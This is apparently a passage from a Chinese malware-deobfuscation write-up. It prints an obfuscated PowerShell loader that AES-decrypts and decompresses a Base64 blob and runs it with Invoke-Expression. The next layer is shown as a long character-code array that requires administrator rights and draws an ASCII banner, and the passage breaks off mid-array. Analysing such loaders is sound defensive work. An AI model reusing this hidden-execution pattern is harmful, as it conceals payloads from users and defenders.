$uvbt = [System.Convert]::FromBase64String("BnjvnXgiy9PDZkFjeNSevihuyVE3TnJcQP0YBLo+KMUNvB/ghYy6wyvkPjqRNPtYNOKftSMEhDkgPVBWdGgftWusqcIVTq36IVhcu4ejXz5B4d7kyh470IBkc1WjGq1XhE8uIij7GbRzGG6uSjYz5Tcoy3GfXDF4fSnOeHMW5STWsvsgtqKbn7zNz/NXTT8DX6ee1p6CLdWeJwGWfpRxZou3VUfvsVlnDRVjjqb5ibFMMhHXecAM+YG4FKP6Ks1a91rO4LoN5tvhUoaa77203rgikTMmSUYG+Dmsp4MmfEBQTtc4OMTjYnexUBsNEX4VHGIkbb/9rcTlqBWUtGH+3br+TvSEA5Rlw6HHQm7BrywXI3y+Gi83J8JuCwB4utXy1KVN0bJN+FzbX/5y3xyejdORoOxBzIeBEqDDHw0ydCRGZYzXjf8H0nD0NkWLW5YPDY7nJ6/wVFcdzuF1ZwCViy7oz2WcFcKJh7TDtd8bw1GJEqIqkjwsQZbuWtOuTWUSmKDLmeZq6y2VYKCutUD7ZYdnEbdQUOCTlgWgQiDKTPoYEyxZHp8M7T9Sj/Tu6yX2N7DoWRJTqzCHhTKK/nWJZgT5ojcfooPmQkVK3OaWER66aEWyMhPvr16t2I2gl2NQY4bTxG2oDfQ+KFFkwx4HY3wiMsvemJ8SkVtw7Tt8Scz7wCmUFjwoHjs2z9EjZAe7d0jcOAcbl5IZlc2ovvTFDWtVuVziDov42/DZIyYGSRiywPrQv7dmoP3eobbymmhAKqZ0cHFtnyzUs7v+5As0XmFAwOkmUJOg1KOFk5VFDrGvYX/qb1ldvLh6V6eIvjSwLdsHI3DHk3jZB2SLMgrH0/VFhhNvSgajJHEPkpTVsjpV0A4dPxz0UYVsWFyQzbl+WDxDmT1YrZ/1NN1AjjOucm41NzAkjR7lFQX+EY+YzSmS/farBv2KdXiQpAJiU0F1r4kxxwVOZNGmld7xT2FLkxBTp+GiEP9XVlLBYQxCwjsPZwE9crMLBXYiCkHIegGLmk8VMD3w3rwsp884intkPJpZPEi7FropgSJHMmLJ27MgiUqvCFqJYbMEbeRSQbIGcJhmLAGM6GG+5xY8dHozLsK87Sa9o3zLnQpfsy51m991e02n78lUaIc9asTU+vvOdcbPbbKMDH0X89b1xLjrRQyKrtUZeHcTt2yjV9rG3S4SwiLhNPmxB/SJU4p/CfuVV/sF3nZ3gGUc8kflGnVHg2bLhtWBCEPYQ1VOWWmKxDTkAUt8aoO8acIlhvm4T7ta8LQmW/q1eJwiLj07YQzyFsL9YxxFfqdcMRN0pjHPo5/R8gWGnuArZLPTX/4cbt0hmz4dD6vshRQ8LII0vrv++S6C//l0Vq23WnDKR7sfldvL+yg+SPYKITNinQtzWxHiqvw+gcvkAJHsC0ivEmJL/B+GgDllXjlMVDNijJ9qf72xEPZVFwCDHajKdXRCoguuqPsEv7k1RJOizG+wLfVyJXllHWvUKTfsjj6WtuJV3YrjfERY1WQ0z6A3GQdiK3PS1DCJNP8TvIgPOa0ridK1qyT1zc1Q52JJiCrV83qYsqw5DDJcOg04xIdn529XL94H9oJDSQMIwS9XOr44ZJlF/nIzyNvbXzOU2EUBqMgviEc54q0EwfCJaiQMXKaHy9+jdNiGIy+P3LvsjVXJek7abweMST/irv5VYkWr4qMqoJ6XEB7u6/Wo8Mc0VCFT6z4MTMaWGcJ8ORRW1r0CvwbB4EpE9x5hVe9o55NWHCD7ySW73MU5EiTRQE8tm5qjzLDJ7r09pZiGXFzcHvQSV5xnFMCaoJS9/6kcy5+RFf+/yrOv6hGFJluOOi9H7WOlT0dzLNQxfzidgaeV1b9pYudlGtp+mWidSIpFWAwnnlnxO7YAZQd6bgl/7Q+DmSIWe8uHRwX8KW/jwKGjNmrFSjLSZ8TqQQ5DFMq3uVfvezJI34C2pWEH1YdEK+qE2LDwHZL/9dvZfn9JXGLF660bYM6k7Apo1dofQInwDat1bt4b0iXl+TGknHUV3LTQe5ZUgUVxwS/6vk/06oQsO8V5UUkP8mqz470VxsHvEy5KtVsoEAuegfDmcG+2Y/fxGXziFRTIG+GQ8rL+2aPQjZX06f67m2XINgiLj+N3eZI+5aiwuw+ETlf+Xe0rPdZa9ekrpPwEwhLpuM7c+DDxPukOZbaeHVjo2/Kxl/FXLe62r+2ssTYlt58vwnorS+p0sCrebdNaBJLL8OZDl7ncNBoZtqLamoxQEn07F22GyxNgPlaM6kd50uQEzu0mGIxzFm7aXfRZp/R+dnFBAioUgVfa/VLFlQK9fNURDvFDqB4WHD99PZtiHoAaTZVOndOrFhi5H7zcAz+FokyyU3V0XQaNj9e4l1SICSbUrsKsRWWtzLB+thMDE76rhH8KLaZ/ZndC7HxKEdWFGKyMetlhplKf2mj5CdqOYHY7LNGsjFA4o/aOoK/3xLFf7D2kq+DoDWkcFxqRjDfIbDV/FOEMhQfrXMeVNm0vn0b+ufcTXQsalMfBsLciEltd13APeJEU9b2DSzoh98rzbJAqy9YcPK0WEO9VK81f6nrovBtoBy/tGmVJSKgOX+madV+KMV1GeFVzTGXI/PwQ0TasJheuMp7Ve03i7QVHs562nt4gFpFbJ/gF2qRpyomEtd0UlThq9ZawfwWlXCmSgDP1MnhDaYPPk3JWaGYAKYSJQmNDwbkTI58OmPTU7ucvMtSFqpxvxOcXmMZnzcgq2SL860mwMpYw86sk4mveErYkWC/XGaIaoh01TfOxPhTWteCxrwBay/zWb46NK7NHxtuU95ja8rVCeWR1a57Afj941eQMtW6KKRrzze4WW5u3lvamJXzLfOAJ1aMEu+vbNL8tTM9+/5PikFgjq0on7Z5dDezrvWCz8Vly6KWCcaiIt3Q2yMr4a5v81EioxSpPp7sSWAXXIIQ0NFfs3fmTI4z6vK/UaNZ7E7ZuaTKY1ncE7UtehtaEjzCbrZA7imyjh7QbwezHjkVqBBh4EluzI8hmJuJOpNFOfkACMVSvv09lOf3OilMBF9eYtueu2xWmctD3Kvd2hKvOS+tRTFGo3fXQkJJowHCYq89NZDURTGvlrkTcFRUJdMBV1oChLtQgSIUwYVXoJaqMwXbKjx+a3k9cgP13L27+IZ9OFuVIhSxx+tQbJfJTIBMvOJ8ctbwyee+ohPtQ5gLAokF/e9jYrhjeggZn4iWu8Ef0FKJj46DxZQv+qW4+fGqx6AGch6vochXHk4CyQgJ+2X8ELAPAk6A2kjsCSGhpv0xywGOnIixy6Y/VaNIXSEQ1tnzXl1+sVhfIWLa12rBeWLSHUcPHaGb/t8NzR/cehu00VD18EZrbgaS2OwHXmOB2otack23K1kjBD8u+sw7Shvp6rxXnEQ7zgRvySNmxDyhfRBDlBq0LvqpJpjjIEUAL9PwhYCwJ11sJ117J3LL29x6Qobna6/JgZvBA0LTL8L4iM8poq50z82NeE3zKikNrjQw3fS6x28cuHmKbmXz/iJNFF4zdJXgB5o1y2eeNmYcl8MBSEdoAV3fgc/okkOM0Xt311D1OVNb91dyD3MS3HHQkUoLcSRBPrDMJtUR98VF1VJaEoE34BZ+Boz2nQ9oQOQ7Zz+BViMdA+/VNUSo8DuTl6fiA9OZBlrmgWKtciaDCcIF3HOgysbtgkajEMIBcd0aFnNdLY1Ek8tSyNQnJ5FbiiROQu2TIsBZKSQzHG373TK0TwbFEvh24NhQVZySAcaNKJFL9ze51Z+hRYLgl1RJ12ScI4aKczbrk9KznOlMI4tzWca/K5ls7TGysRlrIEmkOanx8w8YGApaEaPN14X7n6HWQ4brvZ8gt8Yx+fqNYnu3ibtmrjcU1mWKrVAA3ZZknp1i6NBl2mDr9c19VdOhCdGXykbvPtPCKLollokzEc68ubcIyJ+EvSAL21KwvEUAdNkumVRRDhr7sxgSeZo/pmzDIVpqM64n3xisGnQEY/x1OzZ7ScZKGwU5X0Twk+oTge85vTXsrYxtYmRB5vgyk80W4REARxbETOYfW8tc4hWYB/vHDsp1pUi8cENNVCkwS106UE+d+XXE44vxzEsHLb5/W3ZFyQNk7CSjOq79Xmp0klUqt7FFzbXKS9cjLTISpFaEKw6qOrUNzyk01qvz4gXpPh342+Gj5TUE0UsxWQIy84potZs47cfMwGBgrWY3z+XBdQMsJM3ej5jgUGaKp4WQ5DDvY48JpQr2B7EH+LCTEdC5fi5U3/hLsjXTdl5xt9EMnAGgTqZOMLKfZ6CPo4a7W3D+t/FGRs8VzOcx6N8mjSQpjbtm//jT/S5IahGPkOSsmWpaSyFi+sIMAo6+8seT2YcewoS3ZoR0vpkQnTHZNwSqRPmz81VFJwwr1EgpE1A+er8GG92vO005QMHKdGUBe7k7U3x2CKO1BYZVaEN3HUzBLVo8le2JVpPoq7pVcRchoNExeQJTfXPQVXowvK3oya1hYFFVNw6VdXChwRKsRWSETeF1hyRd89REdbk0XlHiEeI8fLCTZzB43Wk72O0yLezdXxOsty3RUIjWp3paqnNr9s5s6Xn2IiFdUwpQZrtVDKF5SQCvu8DONYW70WsUdTfXIsaMl5zTCZcO3s56jlgR9IycWHF2B0AAF6dVheiRAu0kUrXwcst0TL2NAMUj6n1JzCdw8YgR6tmcYDI86sgsrNTAb63jjiE8VZzE31v/UsuKrEJdpJC6rhA8j3lTucNdVnqh5w9FciVP51gNyrXDWQ9vbP+ALqstQpaOqVDRfEh3qVlsn0Nbj5UJm8fMC02rr0GLlPARdRkcWXAIr2eWli0VfQ62B0jEw9EAcg9jfRrfFFGy5sLih5F10R+FXxuoaTp3TZDmAXcbBU4lEKehbxNmbM0CiVq7ADUeR")
$wmpkhs.KeySize = 128
$wmpkhs.Key = $rnsiforf
$wmpkhs.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$wmpkhs.Mode = [System.Security.Cryptography.CipherMode]::CBC
$wmpkhs.BlockSize = 128
$wmpkhs.IV = $uvbt[0..15]
$xxrha = New-Object System.IO.MemoryStream
$gkfqeysew = New-Object System.IO.MemoryStream(,$wmpkhs.CreateDecryptor().TransformFinalBlock($uvbt,16,$uvbt.Length-16))
$btrg = New-Object System.IO.Compression.GzipStream $gkfqeysew, ([IO.Compression.CompressionMode]::Decompress)
$btrg.CopyTo($xxrha)
$wmpkhs.Dispose()
$nvob = [System.Text.Encoding]::UTF8.GetString($xxrha.ToArray())
$btrg.Close()
$gkfqeysew.Close()
Invoke-Expression($nvob)
可以看到这里使用了AES加密,注释掉最后一行的调用语句,将执行后的结果输出到文件,得到下面的加密代码。
((67, 108, 101, 97, 114, 45, 72, 111, 115, 116, 10, 35, 82, 101, 113, 117, 105, 114, 101, 115, 32, 45, 82, 117, 110, 65, 115, 65, 100, 109, 105, 110, 105, 115, 116, 114, 97, 116, 111, 114, 10, 91, 67, 111, 110, 115, 111, 108, 101, 93, 58, 58, 79, 117, 116, 112, 117, 116, 69, 110, 99, 111, 100, 105, 110, 103, 32, 61, 32, 91, 83, 121, 115, 116, 101, 109, 46, 84, 101, 120, 116, 46, 69, 110, 99, 111, 100, 105, 110, 103, 93, 58, 58, 85, 84, 70, 56, 10, 36, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 80, 114, 101, 102, 101, 114, 101, 110, 99, 101, 32, 61, 32, 34, 67, 111, 110, 116, 105, 110, 117, 101, 34, 10, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 37, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 37, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 58, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 37, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 58, 32, 32, 32, 32, 32, 32, 32, 32, 37, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 58, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 58, 64, 32, 32, 32, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 45, 64, 32, 32, 32, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 42, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 46, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 42, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 43, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 43, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 37, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 